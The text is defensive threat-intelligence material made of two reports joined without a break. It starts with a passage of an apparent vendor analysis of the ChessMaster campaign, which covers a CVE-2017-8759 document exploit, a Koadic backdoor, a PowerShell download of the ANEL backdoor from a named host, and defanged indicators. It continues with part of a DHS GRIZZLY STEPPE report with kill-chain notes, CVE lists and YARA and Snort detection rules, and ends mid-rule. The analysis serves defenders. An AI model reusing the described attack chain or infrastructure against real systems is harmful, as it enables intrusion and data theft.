covered the ChessMaster cyberespionage campaign, which leveraged a variety of toolsets and malware such as ChChes and remote access trojans like RedLeaves and PlugX to compromise its targets primarily organizations in Japan. A few weeks ago, we observed new activity from ChessMaster, with notable evolutions in terms of new tools and tactics that weren present in the initial attacks. From what we ve seen, ChessMaster is continuously evolving, using open source tools and ones they developed, likely as a way to anonymize their operations. Based on the way the campaign has developed, it won t be surprising to see additional evolutions from ChessMaster in the future. Infection Vector Figure: 1 ChessMaster infection chain. Here is a summary of how ChessMaster enters a target system: 1. An exploit document arrives on a target system. This document abuses a SOAP WSDL parser vulnerability (CVE-2017-8759) that affects the Microsoft .NET Framework 2. It then accesses the remote server 89[.]18[.]27[.]159/img.db 3. Once the victim opens the document, the attacker can execute arbitrary commands on the victim s machine. 4. The exploit document then launches mshta.exe to access 89[.]18[.]27[.]159:8080/lK0RS, which serves as the first backdoor into the system 5. This backdoor launches a malicious PowerShell script 6. The PowerShell script downloads and activates the malware located in the remote server 89[.]18[.]27[.]159/FA347FEiwq.jpg 7. jpg is the second backdoor, which uses the Command-and-Control (C&C) server62[.]75[.]197[.]131. As mentioned earlier, the first step of the new campaign involves the use of an exploit document that connects to the remote server 89[.]18[.]27[.]159/img.db when opened. Img.db holds the exploit command, which will execute the content of another remote server, 89[.]18[.]27[.]159:8080/lK0RS, via mhsta.exe. The image below shows the malicious link 89[.]18[.]27[.]159/img.db embedded in the exploit document: Figure 2. Link embedded in the document 89[.]18[.]27[.]159:8080/lK0RS is a JScript backdoor, which apparently comes from an open source RAT known as Koadic. At this stage, we observed that the attacker tried to gather the system s environment information via command line tools. We also observed that some commands were based on the result of a previous command, which means that not all parts of the attack were automated and that parts of the commands were done manually. While this might be a sign of a more sophisticated automation technique, we believe that this may be an attacker trying to get up close and personal by manually checking the environment before delivering the final payload. It is possible that this was done to avoid sandboxing or analysis by researchers. While we were not able to gather the actual live data of the next step of the attack, we were able to observe Koadic and the following script, which tries to download another DLL file from the same server that hosts Koadic, at the same time. We believe that FA347FEiwq.jpg serves as the final payload of this attack. Figure 3: PowerShell script used to download & execute FA347FEiwq.jpg The script attempts to download the file from 89[.]18[.]27[.]159/FA347FEiwq.jpg (detected by Trend Micro as BKDR_ANEL.ZKEI), a DLL file which serves as the second backdoor. The Powershell script leverages RegisterXLL, which is a component of Excel, to load BKDR_ANEL into Excel.exe Figure 4: FA347FEiwq.jpg is loaded by Excel.exe Backdoor Analysis BKDR_ANEL is downloaded from89[.]18[.]27[.]159. Once loaded onto the system, it will launch and inject code into svchost.exe, after which the injected code decrypts and activates the embedded backdoor. BKDR_ANEL has a Microsoft signature attached the signature is invalid and likely added to make it seem more harmless. The backdoor has a hardcoded malware version labeled 5.0.0 beta1 that contains basic backdoor routines with a string-like Function not implemented. inside. The relatively incomplete code might be a clue of a new variant in the future. The malware s C&C protocol is very similar to the one used by BKDR_CHCHES at first glance: Figure 5: Comparison of BKDR_ANEL and BKDR_CHCHES C&C protocols However they are different backdoors, with BKDR_CHCHES employing RC4 as its main encryption algorithm wherein the decryption key is sent with the encrypted information separated by and set in the Cookie header. On the other hand, BKDR_ANEL utilizes Blowfish with the hardcoded encryption key obviously labeled as this is the encrypt key. Another difference between the two is that BKDR_CHCHES does not contain any backdoor routines by default. Instead, it loads additional modules from the C&C server directly into memory. Alternatively, BKDR_ANEL is more like a regular backdoor embedded with basic backdoor routines. The image and table below illustrate the information BKDR_ANEL sends, and how BKDR_ANEL encrypts the information. Figure 6: Information sent by BKDR_ANEL (1/2) Offset Description Example in previous figure Process ID 78 0C 00 00 MD5(computer name + machine GUID) 20 C4 36 1D 03 2F 93 B8 C7 A0 01 9A EB 2B BD EF 0x14 Computer name TEST 0x20 Timestamp 1508201270 0x2a OS version 5.1.2600 0x3a User name Administrator 0x47 Time zone information 00 00 00 00 => (Bias / 60) 00 00 00 00 => (Bias % 60) 01 00 00 00 => Has DaylightBias or not 0x53 Current directory C:\Documents and Settings\Administrator\My Documents 0x87 Backdoor version 5.0.0 beta1 Table 1: Information sent by BKDR_ANEL (2/2) Figure 7: BKDR_ANEL encryption process The information blocks are separated by . As seen in the image above; the string before in each block, such as oVG, is not used. Further similarities between BKDR_ANEL and BKDR_CHCHES can be seen in special partial MD5 logic. Both malware only uses the middle 8 bytes from the regular MD5 result. BKDR_CHCHES will use it to encrypt the network traffic, while BKDR_ANEL uses it as a code branch in the malware encryption routine, although from our analysis, it does not look like it is currently in use. Mitigation To combat campaigns like ChessMaster, organizations need to make full use of the tools available to them. This includes everything from regularly updating their systems to the latest patches, which minimizes the impact of attacks that leverage vulnerabilities. In addition, the proper use of behavior monitoring, application control, email gateway monitoring, and intrusion/detection systems can help detect any suspicious activities that occur within the network. Finally, organizations need to cultivate a culture of security to educate users on what to look out for in terms of potential attacks, as end users are often the primary target of these kinds of campaigns. Organizations can also strengthen their security by employing solutions such as Trend Micro Vulnerability Protection , which protects endpoints from threats that exploit vulnerabilities via a high-performance engine monitors traffic for new specific vulnerabilities that uses host-based intrusion prevention system (IPS) filters as well as zero-day attack monitoring. In addition, comprehensive security solutions can be used to protect organizations from attacks. These include Trend Micro endpoint solutions such as Trend Micro Smart Protection Suites, and Worry-Free Business Security, which can protect users and businesses from these threats by detecting malicious files, well as blocking all related malicious URLs. Trend Micro Deep Discovery has an email inspection layer that can protect enterprises by detecting malicious attachment and URLs. Trend Micro OfficeScan with XGen endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against all kinds of threats. Indicators of Compromise: Related hashes detected as BKDR_ANEL.ZKEI (SHA-256): af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115c6b0a7dfa0dd Command-and-control server: hxxp://62[.]75[.]197[.]131/page/?[random strings] URLs related to the campaign hxxp://89[.]18[.]27[.]159/img.db hxxp://89[.]18[.]27[.]159:8080/lK0RS hxxp://89[.]18[.]27[.]159/FA347FEiwq.jpg TLP:WHITE National Cybersecurity and Communications Integration Center AN AL Y S I S R E P O R T DISCLAIMER: This report is provided as is for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS does not endorse any commercial product or service referenced in this advisory or otherwise. This document is distributed as TLP:WHITE: Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see https://www.us-cert.gov/tlp. Reference Number: AR-17-20045 February 10, 2017 Enhanced Analysis of GRIZZLY STEPPE Activity Executive Summary The Department of Homeland Security (DHS) National Cybersecurity and Communications Integration Center (NCCIC) has collaborated with interagency partners and private-industry stakeholders to provide an Analytical Report (AR) with specific signatures and recommendations to detect and mitigate threats from GRIZZLY STEPPE actors. Contents Executive Summary ...................................................................................................................................... 1 Recommended Reading about GRIZZLY STEPPE ..................................................................................... 2 Utilizing Cyber Kill Chain for Analysis ....................................................................................................... 4 Reconnaissance ......................................................................................................................................... 4 Weaponization .......................................................................................................................................... 5 Delivery .................................................................................................................................................... 5 Exploitation ............................................................................................................................................... 5 Installation................................................................................................................................................. 6 Command and Control .............................................................................................................................. 6 Actions on the Objective ........................................................................................................................... 6 Detection and Response ................................................................................................................................ 7 APPENDIX A: APT28 ................................................................................................................................. 8 APPENDIX B: APT29 ............................................................................................................................... 42 APPENDIX C: Mitigations Guidance ........................................................................................................ 50 Defending Against Webshell Attacks ..................................................................................................... 50 Defending Against Spear Phishing Attacks ............................................................................................ 52 APPENDIX D: Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 ..................................... 55 1 of 56 1 of 56 TLP:WHITE TLP:WHITE Recommended Reading about GRIZZLY STEPPE DHS recommends reading multiple bodies of work concerning GRIZZLY STEPPE. While DHS does not endorse any particular company or their findings, we believe the breadth of literature created by multiple sources enhances the overall understanding of the threat. DHS encourages analysts to review these resources to determine the level of threat posed to their local network environments. DHS Resources JAR-16-20296 provides technical details regarding the tools and infrastructure used by the Russian civilian and military intelligence Services (RIS) to compromise and exploit networks and endpoints associated with the U.S. election, as well as a range of U.S. Government, political, and private sector entities. JAR-16-20296 remains a useful resource for understanding APT28 and APT29 use of the cyber kill chain and exploit targets. Additionally, JAR-16-20296 discusses some of the differences in activity between APT28 and APT29. This AR primarily focuses on APT28 and APT29 activity from 2015 through 2016. DHS Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 was updated January 27, 2017 to provide additional analysis of the artifacts identified in JAR 16-20296. The artifacts analyzed in this report include 17 PHP files, 3 executables and 1 RTF file. The PHP files are web shells designed to provide a remote user an interface for various remote operations. The RTF file is a malicious document designed to install and execute a malicious executable. However, DHS recommends that analysts read the MIFR in full to develop a better understanding of how the GRIZZLY STEPPE malware executes on a system, which, in turn, downloads additional malware and attempts to extract cached passwords. The remaining two executables are Remote Access Tools (RATs) that collect host information, including digital certificates and private keys, and provide an actor with remote access to the infected system. Open Source Several cyber security and threat research firms have written extensively about GRIZZLY STEPPE. DHS encourages network defenders, threat analysts, and general audiences to review publicly available information to develop a better understanding of the tactics, techniques, and procedures (TTPs) of APT28 and APT29 and to potentially mitigate against GRIZZLY STEPPE activity. The below examples do not constitute an exhaustive list. The U.S. Government does not endorse or support any particular product or vendor. 2 of 56 2 of 56 TLP:WHITE TLP:WHITE Source ESET En Route with Sednit version 1.0 Group APT28/2 APT28 ESET Visiting The Bear Den APT28 FireEye APT28 F-Secure APT28: A Window Into Russia's Cyber Espionage Operations? HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group APT28: At the Center of the Storm - Russia strategically evolves its cyber operations BlackEnergy & Quedagh the convergence of crimeware and APT attacks, TLP: WHITE The Dukes 7 years of Russian cyberespionage F-Secure COSMICDUKE: Cosmu with a twist of MiniDuke APT29 F-Secure OnionDuke: APT Attacks Via the Tor Network APT29 F-Secure COZYDUKE APT29 Kaspersky Sofacy APT hits high profile targets with updated toolset APT28 Crysys Palo Alto Networks Palo Alto Networks Palo Alto Networks Palo Alto Networks Miniduke: Indicators APT29 DealersChoice is Sofacy s Flash Player Exploit Platform APT28 Sofacy Komplex OS X Trojan APT28 The Dukes R&D Finds a New Anti-Analysis Technique - Palo Alto Networks Blog APT29 Tracking MiniDionis: CozyCar s New Ride Is Related to Seaduke APT29 APT28 Securelist APT28: Sofacy? So-funny Cyber Threat Operations: Tactical Intelligence Bulletin - Sofacy Phishing The CozyDuke APT SecureWorks Threat Group-4127 Targets Hillary Clinton Presidential Campaign APT28 ThreatConnect ThreatConnect and Fidelis Team Up to Explore the DCCC Breach APT28 ThreatConnect ThreatConnect follows Guccifer 2.0 to Russian VPN Service ThreatConnect ThreatConnect Identifies Additional Infrastructure in DNC Breach ThreatConnect Belling the BEAR APT28 APT28/2 APT28 ThreatConnect Can a BEAR Fit Down a Rabbit Hole? APT28 Trend Micro APT28 Trend Micro Operation Pawn Storm Using Decoys to Evade Detection Pawn Storm Ramps Up Spear-phishing Before Zero-Days Get Patches PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs Operation Pawn Storm: Fast Facts and the Latest Developments ATP 29 ESET En Route with Sednit - Part 2: Observing the Comings and Goings ATP 28 3 of 56 TLP:WHITE Crowdstrike FireEye FireEye F-Secure Trend Micro Volexity 3 of 56 Title Bears in the Midst: Intrusion into the DNC APT29 APT28 APT28 APT29 APT28 APT29 APT28 APT29 TLP:WHITE Utilizing Cyber Kill Chain for Analysis DHS analysts leverage the Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. The phases of the Cyber Kill Chain are Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, and Actions on the Objective. This section will provide a high-level overview of GRIZZLY STEPPE activity within this framework. Reconnaissance GRIZZLY STEPPE actors use various reconnaissance methods to determine the best attack vector for compromising their targets. These methods include network vulnerability scanning, credential harvesting, and using doppelganger (also known as typo-squatting ) domains to target victim organizations. The doppelganger domains can be used for reconnaissance when users incorrectly type in the web address in a browser or as part of delivery as a URL in the body of a phishing emails. DHS recommends that network defenders review and monitor their networks for traffic to sites that look similar to their own domains. This can be an indicator of compromise that should trigger further research to determine whether a breach has occurred. Often, these doppelganger sites are registered to suspicious IP addresses. For example, a site pretending to be an organization s User Log In resolving to a TOR node IP address may be considered suspicious and should be researched by the organization s security operations center (SOC) for signs of users navigating to that site. Because these doppelganger sites normally mimic the targeted victim s domain, they were not included in JAR-16-20296. Before the 2016 U.S. election, DHS observed network scanning activity that is known as reconnaissance. The IPs identified performed vulnerability scans attempting to identify websites that are vulnerable to cross-site scripting (XSS) or Structured Query Language (SQL) injection attacks. When GRIZZLY STEPPE actors identify a vulnerable site, they can then attempt to exploit the identified vulnerabilities to gain access to the targeted network. Network perimeter scans are often a precursor to network attacks and DHS recommends that security analysts identify the types of scans carried out against their perimeters. This information can aid security analysts in identifying and patching vulnerabilities in their systems. Another common method used by GRIZZLY STEPPE is to host credential-harvesting pages as seen in Step 4 and Step 5 of the GRIZZLY STEPPE attack lifecycle graphic. This technique includes hosting a temporary website in publicly available infrastructure (i.e., neutral space) that users are directed to via spear-phishing emails. Users are tricked into entering their credentials in these temporary sites, and GRIZZLY STEPPE actors gain legitimate credentials for users on the targeted network. 4 of 56 4 of 56 TLP:WHITE TLP:WHITE Weaponization GRIZZLY STEPPE actors have excelled at embedding malicious code into a number of file types as part of their weaponization efforts. In 2014, it was reported that GRIZZLY STEPPE actors were wrapping legitimate executable files with malware (named OnionDuke ) to increase the chance of bypassing security controls. Since weaponization actions occur within the adversary space, there is little that can be detected by security analysts during this phase. APT28 and APT29 weaponization methods have included: Code injects in websites as watering hole attacks Malicious macros in Microsoft Office files Malicious Rich Text Format (RTF) files with embedded malicious flash code Delivery As described in JAR-16-20296 and numerous publicly available resources, GRIZZLY STEPPE actors traditionally use spear-phishing emails to deliver malicious attachments or URLs that lead to malicious payloads. DHS recommends that network defenders conduct analysis of their systems to identify potentially malicious emails involving variations on GRIZZLY STEPPE themes. Inbound emails subjects should be reviewed for the following commonly employed titles, text, and themes: efax, e-Fax, efax #100345 (random sequence of numbers) PDF, PFD, Secure PDF Topics from current events (e.g., European Parliament statement on Fake Microsoft Outlook Web Access (OWA) log-in emails Invites for cyber threat events Additionally, GRIZZLY STEPPE actors have infected pirated software in torrent services and leveraged TOR exit nodes to deliver to malware since at least 2014. These actors are capable of compromising legitimate domains and services to host and deliver malware in an attempt to obscure their delivery methods. DHS notes that the majority of TOR traffic is not GRIZZLY STEPPE activity. The existence of a TOR IP in a network log only indicates that network administrators should review the related traffic to determine if it is legitimate activity for that specific environment. Exploitation GRIZZLY STEPPE actors have developed malware to exploit a number of Common Vulnerability and Exposures (CVEs). DHS assesses that these actors commonly target Microsoft Office exploits due to the high likelihood of having this software installed on the targeted hosts. 5 of 56 5 of 56 TLP:WHITE TLP:WHITE While not all-encompassing, the following CVEs have been targeted by GRIZZLY STEPPE actors in past attacks. CVE-2016-7855: Adobe Flash Player Use-After-Free Vulnerability CVE-2016-7255: Microsoft Windows Elevation of Privilege Vulnerability CVE-2016-4117: Adobe Flash Player Remoted Attack Vulnerability CVE-2015-1641: Microsoft Office Memory Corruption Vulnerability CVE-2015-2424: Microsoft PowerPoint Memory Corruption Vulnerability CVE-2014-1761: Microsoft Office Denial of Service (Memory Corruption) CVE-2013-2729: Integer Overflow in Adobe Reader and Acrobat vulnerability CVE-2012-0158: ActiveX Corruption Vulnerability for Microsoft Office CVE-2010-3333: RTF Stack Buffer Overflow Vulnerability for Microsoft Office CVE-2009-3129: Microsoft Office Compatibility Pack for Remote Attacks Installation GRIZZLY STEPPE actors have leveraged several different types of implants in the past. Analysts can research these implants by reviewing open-source reporting on malware families including Sofacy, and Onion Duke. Recently, DHS analyzed 17 PHP files, 3 executables, and 1 RTF file attributed to GRIZZLY STEPPE actors and the findings are located in MIFR10105049-Update2 (updated on 1/26/2017). The PHP files are web shells designed to provide a user interface for various remote operations. The RTF file is a malicious document designed to install and execute a malicious executable. DHS recommends that security analysts review their systems for unauthorized web shells. Command and Control GRIZZLY STEPPE actors leverage their installed malware through Command and Control (C2) infrastructure, which they traditionally develop via compromised sites and publicly available infrastructure, such as TOR. C2 IOCs are traditionally the IP addresses or domains that are leveraged to send and receive commands to and from malware implants. Actions on the Objective GRIZZLY STEPPE actors have leveraged their malware in multiple campaigns with various end goals. GRIZZLY STEPPE actors are capable of utilizing their malware to conduct extensive data exfiltration of sensitive files, emails, and user credentials. Security operation center (SOC) analysts may be able to detect actions on the objective before data exfiltration occurs by looking for signs of files and user credential movement within their network. 6 of 56 6 of 56 TLP:WHITE TLP:WHITE Detection and Response The appendixes of this Analysis Report provide detailed host and network signatures to aid in detecting and mitigating GRIZZLY STEPPE activity. This information is broken out by actor and implant version whenever possible. MIFR-10105049 UPDATE2 provides additional YARA rules and IOCs associated with APT28 and APT29 actors. Contact Information Recipients of this report are encouraged to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact NCCIC at: Phone: +1-703-235-8832 Email: ncciccustomerservice@hq.dhs.gov Feedback DHS strives to make this report a valuable tool for our partners and welcome feedback on how this publication could be improved. You can help by answering a few short questions about this report at the following URL: https://www.us-cert.gov/forms/feedback 7 of 56 7 of 56 TLP:WHITE TLP:WHITE APPENDIX A: APT28 This section describes six implants associated with APT28 actors. Included are YARA rules as well as SNORT signatures. Despite the use of sound production rules, there is still the chance for false positives. In addition, these will complement additional analysis and should not be used as the sole source of attribution. The following YARA rules detect Downrage, referred to as IMPLANT 1 with rule naming convention. These rules will also detect X-AGENT/CHOPSTICK, which shares characteristics with DOWNRAGE. Rule IMPLANT_1_v1 strings: $STR1 = {6A ?? E8 ?? ?? FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?? FF FF 8B F0 EB 02 33 F6 8B CE E8 ?? ?? FF FF 85 F6 74 0E 8B CE E8 ?? ?? FF FF 56 E8 ?? ?? FF FF 59} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_1_v2 strings: $STR1 = {83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?? 00 00 8B D8 59 85 DB 74 38 8B 4E 04 83 F9 FF 7E 21 57 } $STR2 = {55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81 80 78 19 01 75 0D FF 70 10 FF [5] 85 C0 74 E3 } condition: (uint16(0) == 0x5A4D) and any of them 8 of 56 8 of 56 TLP:WHITE TLP:WHITE Rule IMPLANT_1_v3 strings: $rol7encode = { 0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_1_v4 strings: $XOR_LOOP = { 8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ?? ?? ?? ?? 32 04 0F 46 88 01 3B 75 0C 7C E0 } condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_1_v5 strings: $drivername = { 6A 30 ?? 6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77 [5] 6A 69 [5] 6A 6E [5] 6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 } $mutexname = { C7 45 ?? 2F 2F 64 66 C7 45 ?? 63 30 31 65 C7 45 ?? 6C 6C 36 7A C7 45 ?? 73 71 33 2D C7 45 ?? 75 66 68 68 66 C7 45 ?? 66 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them 9 of 56 9 of 56 TLP:WHITE TLP:WHITE Rule IMPLANT_1_v6 strings: $XORopcodes_eax = { 35 (22 07 15 0e|56 d7 a7 0a) } $XORopcodes_others = { 81 (f1|f2|f3|f4|f5|f6|f7) (22 07 15 0e|56 d7 a7 0a) } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025) and any of them Rule IMPLANT_1_v7 strings: $XOR_FUNCT = { C7 45 ?? ?? ?? 00 10 8B 0E 6A ?? FF 75 ?? E8 ?? ?? FF FF } condition: (uint16(0) == 0x5A4D) and all of them Network Indicators for Implant 1 alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Downrage_HTTP_C2"; flow:established,to_server; content:"POST"; http_method; content:"="; content:"=|20|HTTP/1.1"; fast_pattern; distance:19; within:10; pcre:"/^\/(?:[a-zA-Z0-9]{2,6}\/){2,5}[a-zA-Z0-9]{1,7}\.[A-Za-z09\+\-\_\.]+\/\?[a-zA-Z0-9]{1,3}=[a-zA-Z0-9+\/]{19}=$/I";) The following YARA rules detect CORESHELL/SOURFACE, referred to as IMPLANT 2 with rule naming convention. IMPLANT 2 Rules: 10 of 56 10 of 56 TLP:WHITE TLP:WHITE Rule IMPLANT_2_v1 strings: $STR1 = { 8d ?? fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5? 6a 00 6a 01} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v2 strings: $STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v3 strings: $STR1 = {c1eb078d??01321c??33d2} $STR2 = {2b??83??060f83??000000eb0233} $STR3 = {89????89????8955??8945??3b??0f83??0000008d????8d????fe} condition: (uint16(0) == 0x5A4D) and any of them 11 of 56 11 of 56 TLP:WHITE TLP:WHITE Rule IMPLANT_2_v4 strings: $STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v5 strings: $STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00 00 00 48 8B CC E8} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v6 strings: $STR1 = { e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ?? [1-2] 00 02 00 00 7F ?? [1-2] 00 01 00 00 7F ?? [1-2] 80 00 00 00 7F ?? 83 ?? 40 7F} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v7 12 of 56 12 of 56 TLP:WHITE TLP:WHITE strings: $STR1 = {0a0fafd833d28d41fff775?? 8b450cc1eb078d7901321c0233d28bc7895de4bb06000000f7f38b450c8d59fe025dff321c028bc133d2b90 6000000f7f18b450c8bcf221c028b45e48b55e008d41fe83f8068b45??72??8b4d??8b} $STR2 = {8d9b000000000fb65c0afe8d34028b45?? 03c20fafd88d7a018d42ff33d2f775??c1eb078bc7321c0a33d2b906000000f7f18a4d?? 8b450c80e902024d??320c028b45??33d2f775?? 8b450c220c028bd702d9301e8b4d0c8d42fe3b45e88b45??8955??72a05f5e5b8be55dc20800} condition: (uint16(0) == 0x5A4D) and any of them Rule IMPLANT_2_v8 strings: $STR1 = {8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7?? 8bcaba03000000c1e902890c248d044903c0442b??4489??24043bf10f83??0100008d1c764c896c24} $STR2 = {c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c?? 4002c7418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa46220c?? 418d48fef7e1c1ea028d045203c02bc88bc1} $STR3 = {41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c?? 4002c6418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa} $STR4 = {46220c?? 418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604??410fafcbc1} condition: (uint16(0) == 0x5A4D) and any of them 13 of 56 13 of 56 TLP:WHITE TLP:WHITE Rule IMPLANT_2_v9 strings: $STR1 = { 8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89 45 E8 8B FF 0F B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 F4 C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7 F6 8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE 3B D7 72 A4 8B 45 E4 8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8 0F 82 ?? ?? ?? ?? 3B DF 75 13 8D 04 7F 8B 7D 10 03 C0 2B F8 EB 09 33 C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ?? ?? ?? ?? 8B 55 08 8A CB 02 C9 8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F 02 89 55 E4 EB 09 8D 9B 00 00 00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01 FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33 D2 88 45 0B 8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45 E4 30 1C 01 8B 4D 0C } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_2_v10 strings: $STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v11 strings: 14 of 56 14 of 56 TLP:WHITE TLP:WHITE $STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v12 strings: $STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00 00 00 48 8B CC E8} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v13 strings: $STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01} condition: (uint16(0) == 0x5A4D) and all of them Rule IMPLANT_2_v14 strings: 15 of 56 15 of 56 TLP:WHITE TLP:WHITE $STR1 = {8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7??8bcaba03000000c1e902890c248 d044903c0442b??4489??24043bf10f83??0100008d1c764c896c24 } $STR2 = {c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c??4002c7418d48ff4432c8b8abaaaaaaf7e 1c1ea028d045203c02bc8b8abaaaaaa46220c??418d48fef7e1c1ea028d045203c02bc88bc1} $STR3 = {41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c??4002c6418d48ff4432c8b8abaaaaaaf7e1 c1ea028d045203c02bc8b8abaaaaaa} $STR4 = {46220c??418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604??410fafcbc1} condition: (uint16(0) == 0x5A4D) and any of them Rule IMPLANT_2_v15 strings: $XOR_LOOP1 = { 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 } $XOR_LOOP2 = { 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 } $XOR_LOOP3 = { 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_2_v16 strings: 16 of 56 16 of 56 TLP:WHITE TLP:WHITE $OBF_FUNCT = { 0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7 75 F8 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $OBF_FUNCT Rule IMPLANT_2_v17 strings: $STR1 = { 24108b44241c894424148b4424246836 } $STR2 = { 518d4ddc516a018bd08b4de4e8360400 } $STR3 = { e48178061591df75740433f6eb1a8b48 } $STR4 = { 33d2f775f88b45d402d903c641321c3a } $STR5 = { 006a0056ffd083f8ff74646a008d45f8 } condition: (uint16(0) == 